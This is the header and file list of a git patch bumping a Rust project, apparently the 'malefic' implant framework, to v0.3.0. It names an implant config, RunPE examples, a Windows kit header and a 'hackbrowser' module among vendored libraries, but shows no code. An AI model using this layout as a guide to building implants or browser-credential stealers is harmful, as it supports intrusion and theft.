From 4ad28317137f731ae15f5c1fd29d9a6b99a21b62 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BD=95=E6=AD=A2?= <68958533+h3zh1@users.noreply.github.com> Date: Thu, 9 Apr 2026 22:25:41 +0800 Subject: [PATCH 1/4] bump v0.3.0 --- .cargo/config.toml | 36 + .github/workflows/check.yaml | 123 + .github/workflows/generate.yaml | 233 + .github/workflows/release.yml | 100 + .github/workflows/runtime-integration.yaml | 97 + .github/workflows/test.yaml | 46 + .github/workflows/test_local.yaml | 46 + .gitignore | 25 + .gitmodules | 3 + Cargo.lock | 4509 ++ Cargo.toml | 170 + README.md | 1 + examples/ffi/README.md | 28 + examples/ffi/c/README.md | 26 + examples/ffi/c/runpe_test.c | 187 + examples/ffi/csharp/README.md | 29 + examples/ffi/csharp/RunPETest.cs | 216 + examples/ffi/go/README.md | 25 + examples/ffi/go/runpe_example.go | 98 + examples/ffi/malefic-win-kit.h | 113 + examples/ffi/python/README.md | 27 + examples/ffi/python/runpe_test.py | 214 + examples/ffi/rust/Cargo.lock | 7 + examples/ffi/rust/Cargo.toml | 15 + examples/ffi/rust/README.md | 25 + examples/ffi/rust/runpe_example.rs | 180 + examples/starship/Cargo.toml | 14 + examples/starship/README.md | 67 + examples/starship/starship_example.rs | 73 + implant.yaml | 156 + lib/libudis86-sys/Cargo.toml | 18 + lib/libudis86-sys/README.md | 4 + lib/libudis86-sys/build.rs | 14 + lib/libudis86-sys/libudis86/decode.c | 1266 + lib/libudis86-sys/libudis86/decode.h | 197 + lib/libudis86-sys/libudis86/extern.h | 113 + lib/libudis86-sys/libudis86/itab.c | 5946 +++ lib/libudis86-sys/libudis86/itab.h | 939 + lib/libudis86-sys/libudis86/syn-att.c | 228 + lib/libudis86-sys/libudis86/syn-intel.c | 224 + lib/libudis86-sys/libudis86/syn.c | 212 + lib/libudis86-sys/libudis86/syn.h | 53 + lib/libudis86-sys/libudis86/types.h | 260 + lib/libudis86-sys/libudis86/udint.h | 99 + lib/libudis86-sys/libudis86/udis86.c | 458 + lib/libudis86-sys/src/api.rs | 154 + lib/libudis86-sys/src/itab.rs | 939 + lib/libudis86-sys/src/lib.rs | 52 + lib/libudis86-sys/src/types.rs | 275 + .../async-channel/.github/dependabot.yml | 9 + .../async-channel/.github/workflows/ci.yml | 90 + .../.github/workflows/release.yml | 22 + lib/malio/async-channel/.gitignore | 3 + lib/malio/async-channel/CHANGELOG.md | 107 + lib/malio/async-channel/Cargo.toml | 36 + lib/malio/async-channel/LICENSE-APACHE | 201 + lib/malio/async-channel/LICENSE-MIT | 23 + lib/malio/async-channel/README.md | 51 + lib/malio/async-channel/src/lib.rs | 1388 + lib/malio/async-channel/tests/bounded.rs | 552 + lib/malio/async-channel/tests/unbounded.rs | 356 + .../async-executor/.github/dependabot.yml | 9 + .../async-executor/.github/workflows/ci.yml | 91 + .../.github/workflows/release.yml | 22 + lib/malio/async-executor/.gitignore | 2 + lib/malio/async-executor/CHANGELOG.md | 134 + lib/malio/async-executor/Cargo.toml | 48 + lib/malio/async-executor/LICENSE-APACHE | 201 + lib/malio/async-executor/LICENSE-MIT | 23 + lib/malio/async-executor/README.md | 52 + lib/malio/async-executor/benches/executor.rs | 498 + lib/malio/async-executor/examples/limit.rs | 95 + lib/malio/async-executor/examples/priority.rs | 84 + lib/malio/async-executor/src/lib.rs | 1233 + .../async-executor/src/static_executors.rs | 494 + .../tests/different_executors.rs | 34 + lib/malio/async-executor/tests/drop.rs | 147 + .../async-executor/tests/larger_tasks.rs | 99 + lib/malio/async-executor/tests/local_queue.rs | 24 + lib/malio/async-executor/tests/panic_prop.rs | 14 + lib/malio/async-executor/tests/spawn_many.rs | 45 + lib/malio/async-fs/.github/dependabot.yml | 9 + lib/malio/async-fs/.github/workflows/ci.yml | 75 + .../async-fs/.github/workflows/release.yml | 22 + lib/malio/async-fs/.gitignore | 2 + lib/malio/async-fs/CHANGELOG.md | 78 + lib/malio/async-fs/Cargo.toml | 31 + lib/malio/async-fs/LICENSE-APACHE | 201 + lib/malio/async-fs/LICENSE-MIT | 23 + lib/malio/async-fs/README.md | 48 + lib/malio/async-fs/src/lib.rs | 1855 + lib/malio/async-io/.cirrus.yml | 61 + lib/malio/async-io/.github/dependabot.yml | 9 + lib/malio/async-io/.github/workflows/ci.yml | 166 + .../async-io/.github/workflows/release.yml | 22 + lib/malio/async-io/.gitignore | 2 + lib/malio/async-io/CHANGELOG.md | 291 + lib/malio/async-io/Cargo.toml | 62 + lib/malio/async-io/LICENSE-APACHE | 201 + lib/malio/async-io/LICENSE-MIT | 23 + lib/malio/async-io/README.md | 78 + lib/malio/async-io/benches/io.rs | 171 + lib/malio/async-io/benches/timer.rs | 42 + lib/malio/async-io/build.rs | 16 + lib/malio/async-io/examples/kqueue-process.rs | 48 + lib/malio/async-io/examples/linux-inotify.rs | 64 + lib/malio/async-io/examples/linux-timerfd.rs | 55 + lib/malio/async-io/examples/unix-signal.rs | 33 + .../async-io/examples/windows-command.rs | 34 + lib/malio/async-io/examples/windows-uds.rs | 127 + lib/malio/async-io/src/driver.rs | 303 + lib/malio/async-io/src/lib.rs | 2241 + lib/malio/async-io/src/os.rs | 16 + lib/malio/async-io/src/os/kqueue.rs | 278 + lib/malio/async-io/src/os/unix.rs | 65 + lib/malio/async-io/src/os/windows.rs | 191 + lib/malio/async-io/src/reactor.rs | 680 + lib/malio/async-io/src/reactor/kqueue.rs | 108 + lib/malio/async-io/src/reactor/unix.rs | 59 + lib/malio/async-io/src/reactor/windows.rs | 103 + lib/malio/async-io/tests/async.rs | 440 + lib/malio/async-io/tests/block_on.rs | 178 + lib/malio/async-io/tests/issue_182.rs | 24 + lib/malio/async-io/tests/timer.rs | 99 + lib/malio/async-net/.github/dependabot.yml | 9 + lib/malio/async-net/.github/workflows/ci.yml | 78 + .../async-net/.github/workflows/release.yml | 22 + lib/malio/async-net/.gitignore | 2 + lib/malio/async-net/CHANGELOG.md | 88 + lib/malio/async-net/Cargo.toml | 22 + lib/malio/async-net/LICENSE-APACHE | 201 + lib/malio/async-net/LICENSE-MIT | 23 + lib/malio/async-net/README.md | 55 + lib/malio/async-net/src/addr.rs | 212 + lib/malio/async-net/src/lib.rs | 71 + lib/malio/async-net/src/tcp.rs | 765 + lib/malio/async-net/src/udp.rs | 662 + lib/malio/async-net/src/unix.rs | 776 + .../async-process/.github/dependabot.yml | 9 + .../async-process/.github/workflows/ci.yml | 122 + .../.github/workflows/release.yml | 22 + lib/malio/async-process/.gitignore | 2 + lib/malio/async-process/CHANGELOG.md | 129 + lib/malio/async-process/Cargo.toml | 48 + lib/malio/async-process/LICENSE-APACHE | 201 + lib/malio/async-process/LICENSE-MIT | 23 + lib/malio/async-process/README.md | 71 + lib/malio/async-process/examples/timeout.rs | 80 + lib/malio/async-process/src/lib.rs | 1311 + lib/malio/async-process/src/reaper/mod.rs | 231 + lib/malio/async-process/src/reaper/signal.rs | 169 + lib/malio/async-process/src/reaper/wait.rs | 227 + lib/malio/async-process/src/unix.rs | 102 + lib/malio/async-process/src/windows.rs | 45 + lib/malio/async-process/tests/sleep.rs | 26 + lib/malio/async-process/tests/std.rs | 481 + lib/malio/async-task/.github/dependabot.yml | 9 + lib/malio/async-task/.github/workflows/ci.yml | 99 + .../async-task/.github/workflows/release.yml | 22 + lib/malio/async-task/.gitignore | 3 + lib/malio/async-task/CHANGELOG.md | 112 + lib/malio/async-task/Cargo.toml | 37 + lib/malio/async-task/LICENSE-APACHE | 201 + lib/malio/async-task/LICENSE-MIT | 23 + lib/malio/async-task/README.md | 69 + lib/malio/async-task/benches/spawn.rs | 22 + lib/malio/async-task/examples/spawn-local.rs | 73 + .../async-task/examples/spawn-on-thread.rs | 53 + lib/malio/async-task/examples/spawn.rs | 48 + .../async-task/examples/with-metadata.rs | 143 + lib/malio/async-task/src/header.rs | 238 + lib/malio/async-task/src/lib.rs | 121 + lib/malio/async-task/src/raw.rs | 746 + lib/malio/async-task/src/runnable.rs | 956 + lib/malio/async-task/src/state.rs | 69 + lib/malio/async-task/src/task.rs | 566 + lib/malio/async-task/src/utils.rs | 127 + lib/malio/async-task/tests/basic.rs | 325 + lib/malio/async-task/tests/cancel.rs | 183 + lib/malio/async-task/tests/join.rs | 386 + lib/malio/async-task/tests/metadata.rs | 58 + lib/malio/async-task/tests/panic.rs | 234 + lib/malio/async-task/tests/ready.rs | 225 + lib/malio/async-task/tests/waker_panic.rs | 330 + lib/malio/async-task/tests/waker_pending.rs | 365 + lib/malio/async-task/tests/waker_ready.rs | 279 + lib/malio/blocking/.github/dependabot.yml | 9 + lib/malio/blocking/.github/workflows/ci.yml | 90 + .../blocking/.github/workflows/release.yml | 22 + lib/malio/blocking/.gitignore | 2 + lib/malio/blocking/CHANGELOG.md | 142 + lib/malio/blocking/Cargo.toml | 26 + lib/malio/blocking/LICENSE-APACHE | 201 + lib/malio/blocking/LICENSE-MIT | 23 + lib/malio/blocking/README.md | 93 + lib/malio/blocking/examples/ls.rs | 26 + lib/malio/blocking/src/lib.rs | 1062 + lib/malio/blocking/tests/unblock.rs | 140 + lib/malio/parking/.github/dependabot.yml | 9 + lib/malio/parking/.github/workflows/ci.yml | 80 + .../parking/.github/workflows/release.yml | 22 + lib/malio/parking/.gitignore | 2 + lib/malio/parking/CHANGELOG.md | 47 + lib/malio/parking/Cargo.toml | 33 + lib/malio/parking/LICENSE-APACHE | 201 + lib/malio/parking/LICENSE-MIT | 23 + lib/malio/parking/LICENSE-THIRD-PARTY | 9 + lib/malio/parking/README.md | 67 + lib/malio/parking/src/lib.rs | 449 + lib/malio/parking/tests/loom.rs | 28 + lib/malio/parking/tests/parking.rs | 145 + lib/malio/polling/.cirrus.yml | 61 + lib/malio/polling/.github/dependabot.yml | 9 + lib/malio/polling/.github/workflows/ci.yml | 175 + .../polling/.github/workflows/release.yml | 22 + lib/malio/polling/.gitignore | 2 + lib/malio/polling/CHANGELOG.md | 236 + lib/malio/polling/Cargo.toml | 67 + lib/malio/polling/Cross.toml | 3 + lib/malio/polling/LICENSE-APACHE | 201 + lib/malio/polling/LICENSE-MIT | 23 + lib/malio/polling/README.md | 77 + lib/malio/polling/examples/tcp_client.rs | 36 + lib/malio/polling/examples/two-listeners.rs | 43 + lib/malio/polling/examples/wait-signal.rs | 67 + lib/malio/polling/src/epoll.rs | 514 + lib/malio/polling/src/iocp/afd.rs | 733 + lib/malio/polling/src/iocp/mod.rs | 1412 + lib/malio/polling/src/iocp/port.rs | 396 + lib/malio/polling/src/kqueue.rs | 596 + lib/malio/polling/src/lib.rs | 1131 + lib/malio/polling/src/os.rs | 24 + lib/malio/polling/src/os/iocp.rs | 253 + lib/malio/polling/src/os/kqueue.rs | 304 + lib/malio/polling/src/poll.rs | 857 + lib/malio/polling/src/port.rs | 287 + .../polling/tests/concurrent_modification.rs | 131 + lib/malio/polling/tests/io.rs | 144 + lib/malio/polling/tests/many_connections.rs | 66 + lib/malio/polling/tests/multiple_pollers.rs | 358 + lib/malio/polling/tests/notify.rs | 38 + lib/malio/polling/tests/other_modes.rs | 273 + lib/malio/polling/tests/precision.rs | 72 + lib/malio/polling/tests/timeout.rs | 32 + lib/malio/polling/tests/windows_post.rs | 64 + lib/malio/polling/tests/windows_waitable.rs | 138 + lib/rage/.gitattributes | 2 + lib/rage/.github/ISSUE_TEMPLATE/bug-report.md | 21 + lib/rage/.github/ISSUE_TEMPLATE/ux-report.md | 21 + lib/rage/.github/dependabot.yml | 12 + lib/rage/.github/workflows/audit.yml | 18 + lib/rage/.github/workflows/audits.yml | 19 + lib/rage/.github/workflows/ci.yml | 115 + lib/rage/.github/workflows/criterion.yml | 27 + lib/rage/.github/workflows/interop.yml | 251 + lib/rage/.github/workflows/release.yml | 359 + lib/rage/.gitignore | 5 + lib/rage/Cargo.toml | 67 + lib/rage/LICENSE-APACHE | 202 + lib/rage/LICENSE-MIT | 21 + lib/rage/README.md | 206 + lib/rage/age-core/CHANGELOG.md | 125 + lib/rage/age-core/Cargo.toml | 41 + lib/rage/age-core/README.md | 24 + lib/rage/age-core/src/format.rs | 616 + lib/rage/age-core/src/io.rs | 69 + lib/rage/age-core/src/lib.rs | 20 + lib/rage/age-core/src/plugin.rs | 523 + lib/rage/age-core/src/primitives.rs | 68 + lib/rage/age-plugin/CHANGELOG.md | 64 + lib/rage/age-plugin/Cargo.toml | 27 + lib/rage/age-plugin/README.md | 178 + lib/rage/age-plugin/README.tpl | 20 + .../examples/age-plugin-unencrypted.rs | 219 + lib/rage/age-plugin/src/identity.rs | 370 + lib/rage/age-plugin/src/lib.rs | 346 + lib/rage/age-plugin/src/recipient.rs | 471 + lib/rage/age/CHANGELOG.md | 529 + lib/rage/age/Cargo.toml | 130 + lib/rage/age/README.md | 67 + lib/rage/age/assets/bip39-english.txt | 2048 + lib/rage/age/benches/parser.rs | 43 + lib/rage/age/benches/throughput.rs | 100 + lib/rage/age/i18n/en-US/age.ftl | 196 + lib/rage/age/i18n/es-AR/age.ftl | 108 + lib/rage/age/i18n/fr/age.ftl | 185 + lib/rage/age/i18n/it/age.ftl | 186 + lib/rage/age/i18n/ru/age.ftl | 187 + lib/rage/age/i18n/zh-CN/age.ftl | 102 + lib/rage/age/i18n/zh-TW/age.ftl | 102 + lib/rage/age/src/cli_common.rs | 219 + lib/rage/age/src/cli_common/error.rs | 124 + lib/rage/age/src/cli_common/file_io.rs | 474 + lib/rage/age/src/cli_common/identities.rs | 264 + lib/rage/age/src/cli_common/recipients.rs | 206 + lib/rage/age/src/encrypted.rs | 291 + lib/rage/age/src/error.rs | 449 + lib/rage/age/src/error_fmt.rs | 170 + lib/rage/age/src/format.rs | 442 + lib/rage/age/src/i18n.rs | 106 + lib/rage/age/src/identity.rs | 368 + lib/rage/age/src/keys.rs | 44 + lib/rage/age/src/lib.rs | 455 + lib/rage/age/src/plugin.rs | 800 + lib/rage/age/src/primitives.rs | 71 + lib/rage/age/src/primitives/armor.rs | 1526 + lib/rage/age/src/primitives/stream.rs | 1043 + lib/rage/age/src/protocol.rs | 589 + lib/rage/age/src/scrypt.rs | 271 + lib/rage/age/src/simple.rs | 107 + lib/rage/age/src/ssh.rs | 577 + lib/rage/age/src/ssh/identity.rs | 586 + lib/rage/age/src/ssh/recipient.rs | 310 + lib/rage/age/src/util.rs | 129 + lib/rage/age/src/x25519.rs | 291 + lib/rage/age/tests/test_vectors.rs | 65 + .../tests/testdata/empty_recipient_body.age | 6 + .../testdata/empty_recipient_body_key.txt | 7 + .../testdata/fail_large_filekey_scrypt.age | 6 + .../fail_large_filekey_scrypt_password.txt | 1 + .../testdata/fail_large_filekey_x25519.age | 6 + .../fail_large_filekey_x25519_key.txt | 3 + lib/rage/age/tests/testdata/testkit/armor | 13 + .../age/tests/testdata/testkit/armor_crlf | 14 + .../testdata/testkit/armor_empty_line_begin | 13 + .../testdata/testkit/armor_empty_line_end | 13 + .../testkit/armor_eol_between_padding | 13 + .../testdata/testkit/armor_full_last_line | 13 + .../testdata/testkit/armor_garbage_encoded | 1379 + .../testdata/testkit/armor_garbage_leading | 13 + .../testdata/testkit/armor_garbage_trailing | 13 + .../tests/testdata/testkit/armor_header_crlf | 13 + .../age/tests/testdata/testkit/armor_headers | 15 + .../testkit/armor_invalid_character_header | 12 + .../testkit/armor_invalid_character_payload | 12 + .../tests/testdata/testkit/armor_long_line | 8 + .../tests/testdata/testkit/armor_lowercase | 12 + .../tests/testdata/testkit/armor_no_end_line | 11 + .../age/tests/testdata/testkit/armor_no_eol | 14 + .../age/tests/testdata/testkit/armor_no_match | 12 + .../tests/testdata/testkit/armor_no_padding | 13 + .../testdata/testkit/armor_not_canonical | 13 + .../tests/testdata/testkit/armor_pgp_checksum | 14 + .../tests/testdata/testkit/armor_short_line | 12 + .../testdata/testkit/armor_whitespace_begin | 12 + .../testdata/testkit/armor_whitespace_end | 12 + .../testdata/testkit/armor_whitespace_eol | 12 + .../testkit/armor_whitespace_last_line | 12 + .../testkit/armor_whitespace_line_start | 12 + .../testdata/testkit/armor_whitespace_outside | 18 + .../tests/testdata/testkit/armor_wrong_type | 12 + .../age/tests/testdata/testkit/header_crlf | 10 + lib/rage/age/tests/testdata/testkit/hmac_bad | 9 + .../tests/testdata/testkit/hmac_extra_space | 9 + .../age/tests/testdata/testkit/hmac_garbage | 9 + .../age/tests/testdata/testkit/hmac_missing | 9 + .../age/tests/testdata/testkit/hmac_no_space | 9 + .../tests/testdata/testkit/hmac_not_canonical | 10 + .../testdata/testkit/hmac_trailing_space | 9 + .../age/tests/testdata/testkit/hmac_truncated | 9 + lib/rage/age/tests/testdata/testkit/scrypt | Bin 0 -> 340 bytes .../tests/testdata/testkit/scrypt_and_x25519 | 13 + .../age/tests/testdata/testkit/scrypt_bad_tag | Bin 0 -> 358 bytes .../age/tests/testdata/testkit/scrypt_double | 13 + .../testdata/testkit/scrypt_extra_argument | Bin 0 -> 335 bytes .../testdata/testkit/scrypt_long_file_key | Bin 0 -> 377 bytes .../tests/testdata/testkit/scrypt_no_match | Bin 0 -> 264 bytes .../testkit/scrypt_not_canonical_body | Bin 0 -> 332 bytes .../testkit/scrypt_not_canonical_salt | Bin 0 -> 273 bytes .../tests/testdata/testkit/scrypt_salt_long | Bin 0 -> 278 bytes .../testdata/testkit/scrypt_salt_missing | 9 + .../tests/testdata/testkit/scrypt_salt_short | Bin 0 -> 267 bytes .../tests/testdata/testkit/scrypt_uppercase | Bin 0 -> 267 bytes .../testdata/testkit/scrypt_work_factor_23 | 10 + .../testdata/testkit/scrypt_work_factor_hex | Bin 0 -> 274 bytes .../scrypt_work_factor_leading_garbage | Bin 0 -> 277 bytes .../testkit/scrypt_work_factor_leading_plus | Bin 0 -> 274 bytes .../scrypt_work_factor_leading_zero_decimal | Bin 0 -> 274 bytes .../scrypt_work_factor_leading_zero_octal | Bin 0 -> 274 bytes .../testkit/scrypt_work_factor_missing | Bin 0 -> 270 bytes .../testkit/scrypt_work_factor_negative | Bin 0 -> 274 bytes .../testkit/scrypt_work_factor_overflow | Bin 0 -> 290 bytes .../scrypt_work_factor_trailing_garbage | Bin 0 -> 277 bytes .../testdata/testkit/scrypt_work_factor_wrong | Bin 0 -> 267 bytes .../testdata/testkit/scrypt_work_factor_zero | Bin 0 -> 272 bytes .../tests/testdata/testkit/stanza_bad_start | 11 + .../testdata/testkit/stanza_base64_padding | 12 + .../testdata/testkit/stanza_empty_argument | 11 + .../tests/testdata/testkit/stanza_empty_body | 12 + .../testdata/testkit/stanza_empty_last_line | 14 + .../testdata/testkit/stanza_invalid_character | 11 + .../tests/testdata/testkit/stanza_long_line | 13 + .../testdata/testkit/stanza_missing_body | 11 + .../testkit/stanza_missing_final_line | 12 + .../testkit/stanza_multiple_short_lines | 13 + .../testdata/testkit/stanza_no_arguments | 11 + .../testdata/testkit/stanza_not_canonical | 12 + .../tests/testdata/testkit/stanza_spurious_cr | 11 + .../testdata/testkit/stanza_valid_characters | 14 + .../age/tests/testdata/testkit/stream_bad_tag | 10 + .../testkit/stream_bad_tag_second_chunk | Bin 0 -> 65982 bytes .../testkit/stream_bad_tag_second_chunk_full | Bin 0 -> 131515 bytes .../testdata/testkit/stream_empty_payload | 10 + .../testdata/testkit/stream_last_chunk_empty | Bin 0 -> 66052 bytes .../testdata/testkit/stream_last_chunk_full | Bin 0 -> 65955 bytes .../testkit/stream_last_chunk_full_second | Bin 0 -> 131507 bytes .../tests/testdata/testkit/stream_missing_tag | 10 + .../tests/testdata/testkit/stream_no_chunks | 10 + .../tests/testdata/testkit/stream_no_final | 11 + .../testdata/testkit/stream_no_final_full | Bin 0 -> 65963 bytes .../testkit/stream_no_final_two_chunks | Bin 0 -> 65982 bytes .../testkit/stream_no_final_two_chunks_full | Bin 0 -> 131515 bytes .../tests/testdata/testkit/stream_no_nonce | 8 + .../tests/testdata/testkit/stream_short_chunk | 10 + .../tests/testdata/testkit/stream_short_nonce | 9 + .../testkit/stream_short_second_chunk | Bin 0 -> 65975 bytes .../testdata/testkit/stream_three_chunks | Bin 0 -> 197059 bytes .../testkit/stream_trailing_garbage_long | Bin 0 -> 65983 bytes .../testkit/stream_trailing_garbage_short | Bin 0 -> 65975 bytes .../tests/testdata/testkit/stream_two_chunks | Bin 0 -> 131507 bytes .../testdata/testkit/stream_two_final_chunks | Bin 0 -> 65982 bytes .../testdata/testkit/version_unsupported | 9 + lib/rage/age/tests/testdata/testkit/x25519 | 10 + .../age/tests/testdata/testkit/x25519_bad_tag | 10 + .../testdata/testkit/x25519_extra_argument | 10 + .../age/tests/testdata/testkit/x25519_grease | 14 + .../tests/testdata/testkit/x25519_identity | 10 + .../testdata/testkit/x25519_long_file_key | 10 + .../tests/testdata/testkit/x25519_long_share | 10 + .../tests/testdata/testkit/x25519_low_order | 10 + .../tests/testdata/testkit/x25519_lowercase | 10 + .../testkit/x25519_multiple_recipients | 12 + .../tests/testdata/testkit/x25519_no_match | 9 + .../testkit/x25519_not_canonical_body | 10 + .../testkit/x25519_not_canonical_share | 10 + .../tests/testdata/testkit/x25519_short_share | 10 + lib/rage/age/tests/testkit.rs | 810 + lib/rage/docs/CONTRIBUTING.md | 47 + lib/rage/docs/debian.md | 13 + lib/rage/fuzz-afl/.gitignore | 3 + lib/rage/fuzz-afl/Cargo.lock | 1237 + lib/rage/fuzz-afl/Cargo.toml | 14 + lib/rage/fuzz-afl/src/main.rs | 8 + lib/rage/fuzz/.gitignore | 4 + lib/rage/fuzz/Cargo.lock | 1233 + lib/rage/fuzz/Cargo.toml | 42 + lib/rage/fuzz/fuzz_targets/age_stanza.rs | 16 + lib/rage/fuzz/fuzz_targets/decrypt.rs | 12 + .../fuzz/fuzz_targets/decrypt_buffered.rs | 12 + lib/rage/fuzz/fuzz_targets/header.rs | 6 + lib/rage/rage/CHANGELOG.md | 230 + lib/rage/rage/Cargo.toml | 159 + lib/rage/rage/build.rs | 468 + lib/rage/rage/i18n.toml | 4 + lib/rage/rage/i18n/en-US/rage.ftl | 500 + lib/rage/rage/i18n/es-AR/rage.ftl | 166 + lib/rage/rage/i18n/fr/rage.ftl | 505 + lib/rage/rage/i18n/it/rage.ftl | 214 + lib/rage/rage/i18n/ru/rage.ftl | 506 + lib/rage/rage/i18n/zh-CN/rage.ftl | 163 + lib/rage/rage/i18n/zh-TW/rage.ftl | 163 + lib/rage/rage/src/bin/rage-keygen/cli.rs | 48 + lib/rage/rage/src/bin/rage-keygen/error.rs | 52 + lib/rage/rage/src/bin/rage-keygen/main.rs | 86 + lib/rage/rage/src/bin/rage-mount/cli.rs | 61 + lib/rage/rage/src/bin/rage-mount/main.rs | 242 + lib/rage/rage/src/bin/rage-mount/tar.rs | 297 + lib/rage/rage/src/bin/rage-mount/zip.rs | 267 + lib/rage/rage/src/bin/rage/cli.rs | 163 + lib/rage/rage/src/bin/rage/error.rs | 242 + lib/rage/rage/src/bin/rage/i18n.rs | 31 + lib/rage/rage/src/bin/rage/main.rs | 421 + lib/rage/rage/tests/cli_tests.rs | 12 + .../gen-output-invalid-filename.toml | 10 + .../gen-output-missing-directory.toml | 10 + .../cmd/rage-keygen/gen-output.out/key.txt | 3 + .../tests/cmd/rage-keygen/gen-output.toml | 6 + .../tests/cmd/rage-keygen/gen-stdout.toml | 11 + lib/rage/rage/tests/cmd/rage-keygen/help.toml | 15 + .../rage/tests/cmd/rage-keygen/help_it.toml | 16 + .../rage/tests/cmd/rage-keygen/version.toml | 6 + lib/rage/rage/tests/cmd/rage-mount/help.toml | 17 + .../rage/tests/cmd/rage-mount/help_it.toml | 18 + .../rage/tests/cmd/rage-mount/version.toml | 6 + .../tests/cmd/rage/decrypt-armor-flag.toml | 12 + .../file.age.txt | 8 + .../decrypt-filein-fileout-long.in/key.txt | 3 + .../decrypt-filein-fileout-long.out/file.txt | 1 + .../cmd/rage/decrypt-filein-fileout-long.toml | 5 + .../file.age.txt | 8 + ...ecrypt-identity-no-comment-or-newline.toml | 7 + .../decrypt-identity-stdin.in/file.age.txt | 8 + .../cmd/rage/decrypt-identity-stdin.toml | 11 + .../file.age.txt | 8 + .../rage/decrypt-invalid-identity-chars.toml | 13 + .../decrypt-invalid-plugin-name-chars.toml | 12 + .../rage/decrypt-missing-identities-file.toml | 20 + .../cmd/rage/decrypt-missing-identities.toml | 21 + .../tests/cmd/rage/decrypt-missing-input.toml | 11 + .../file.age.txt | 8 + .../rage/decrypt-missing-stdin-identity.toml | 12 + .../key.txt | 3 + ...decrypt-mixed-identity-and-passphrase.toml | 20 + ...ecrypt-mixed-identity-and-plugin-name.toml | 11 + .../file.age.txt | 8 + .../decrypt-multiple-stdin-identities.toml | 15 + .../cmd/rage/decrypt-multiple-stdin.toml | 15 + .../cmd/rage/decrypt-passphrase-flag.toml | 12 + .../cmd/rage/decrypt-recipient-flag.toml | 12 + .../rage/decrypt-recipients-file-flag.toml | 12 + .../rage/decrypt-stdin-stdout-long.in/key.txt | 3 + .../cmd/rage/decrypt-stdin-stdout-long.toml | 16 + .../decrypt-stdin-stdout-short.in/key.txt | 3 + .../cmd/rage/decrypt-stdin-stdout-short.toml | 16 + .../key.age.txt | 8 + ...identity-encrypted-without-passphrase.toml | 11 + .../rage/encrypt-identity-stdin.in/file.txt | 1 + .../cmd/rage/encrypt-identity-stdin.toml | 13 + .../rage/encrypt-invalid-recipient-chars.toml | 11 + .../cmd/rage/encrypt-invalid-recipient.toml | 11 + .../recipients.txt | 1 + .../rage/encrypt-invalid-recipients-file.toml | 11 + .../rage/encrypt-missing-recipients-file.toml | 11 + .../cmd/rage/encrypt-missing-recipients.toml | 12 + ...encrypt-mixed-identity-and-passphrase.toml | 11 + ...ncrypt-mixed-recipient-and-passphrase.toml | 11 + ...-mixed-recipients-file-and-passphrase.toml | 11 + .../file.txt | 1 + .../encrypt-multiple-stdin-identities.toml | 15 + .../file.txt | 1 + ...-multiple-stdin-recipients-identities.toml | 11 + .../file.txt | 1 + .../encrypt-multiple-stdin-recipients.toml | 11 + .../cmd/rage/encrypt-multiple-stdin.toml | 13 + .../cmd/rage/encrypt-plugin-name-flag.toml | 11 + .../encrypt-recipients-file-stdin.in/file.txt | 1 + .../rage/encrypt-recipients-file-stdin.toml | 11 + lib/rage/rage/tests/cmd/rage/help.toml | 48 + lib/rage/rage/tests/cmd/rage/help_it.toml | 48 + .../cmd/rage/identity-flag-ambiguous.toml | 11 + .../cmd/rage/mixed-encrypt-and-decrypt.toml | 11 + .../rage/same-input-and-output.in/same.txt | 0 .../tests/cmd/rage/same-input-and-output.toml | 11 + lib/rage/rage/tests/cmd/rage/version.toml | 6 + ...rypt-passphrase-without-file-argument.toml | 16 + ...rypt-passphrase-without-file-argument.toml | 11 + lib/rage/supply-chain/audits.toml | 67 + lib/rage/supply-chain/config.toml | 902 + lib/rage/supply-chain/imports.lock | 3041 ++ lib/rage/tap_migrations.json | 3 + malefic-3rd-template/.gitignore | 3 + malefic-3rd-template/Cargo.lock | 1130 + malefic-3rd-template/Cargo.toml | 78 + malefic-3rd-template/README.md | 242 + malefic-3rd-template/malefic-3rd-c/Cargo.lock | 1097 + malefic-3rd-template/malefic-3rd-c/Cargo.toml | 16 + malefic-3rd-template/malefic-3rd-c/README.md | 100 + malefic-3rd-template/malefic-3rd-c/build.rs | 28 + .../malefic-3rd-c/src/c/example/example.c | 57 + .../src/c/malefic/module.options | 229 + .../malefic-3rd-c/src/c/malefic/module.pb.c | 249 + .../malefic-3rd-c/src/c/malefic/module.pb.h | 1857 + .../malefic-3rd-c/src/c/malefic/module.proto | 483 + .../malefic-3rd-c/src/c/module.c | 19 + .../malefic-3rd-c/src/c/module.h | 54 + .../malefic-3rd-c/src/c/nanopb/pb.h | 922 + .../malefic-3rd-c/src/c/nanopb/pb_common.c | 388 + .../malefic-3rd-c/src/c/nanopb/pb_common.h | 49 + .../malefic-3rd-c/src/c/nanopb/pb_decode.c | 1728 + .../malefic-3rd-c/src/c/nanopb/pb_decode.h | 204 + .../malefic-3rd-c/src/c/nanopb/pb_encode.c | 1001 + .../malefic-3rd-c/src/c/nanopb/pb_encode.h | 195 + malefic-3rd-template/malefic-3rd-c/src/lib.rs | 30 + .../malefic-3rd-ffi/Cargo.toml | 13 + .../malefic-3rd-ffi/src/lib.rs | 170 + .../malefic-3rd-go/Cargo.toml | 18 + malefic-3rd-template/malefic-3rd-go/README.md | 123 + malefic-3rd-template/malefic-3rd-go/build.rs | 65 + .../malefic-3rd-go/src/go/example/go.mod | 12 + .../malefic-3rd-go/src/go/example/go.sum | 14 + .../malefic-3rd-go/src/go/example/main.go | 52 + .../malefic-3rd-go/src/go/hackbrowser/go.mod | 40 + .../malefic-3rd-go/src/go/hackbrowser/go.sum | 111 + .../src/go/hackbrowser/hackbrowser.go | 117 + .../malefic-3rd-go/src/go/hackbrowser/main.go | 42 + .../malefic-3rd-go/src/go/malefic/bridge.go | 86 + .../malefic-3rd-go/src/go/malefic/go.mod | 7 + .../malefic-3rd-go/src/go/malefic/go.sum | 14 + .../malefic-3rd-go/src/go/malefic/module.go | 40 + .../src/go/malefic/module.pb.go | 42383 ++++++++++++++++ .../src/go/malefic/module.proto | 483 + .../malefic-3rd-go/src/lib.rs | 122 + .../malefic-3rd-nim/Cargo.toml | 16 + .../malefic-3rd-nim/README.md | 90 + malefic-3rd-template/malefic-3rd-nim/build.rs | 58 + .../malefic-3rd-nim/src/lib.rs | 34 + .../src/nim/example/example.nim | 75 + .../src/nim/malefic/module.options | 229 + .../src/nim/malefic/module.pb.c | 249 + .../src/nim/malefic/module.pb.h | 1857 + .../src/nim/malefic/module.proto | 483 + .../malefic-3rd-nim/src/nim/nanopb/pb.h | 922 + .../src/nim/nanopb/pb_common.c | 388 + 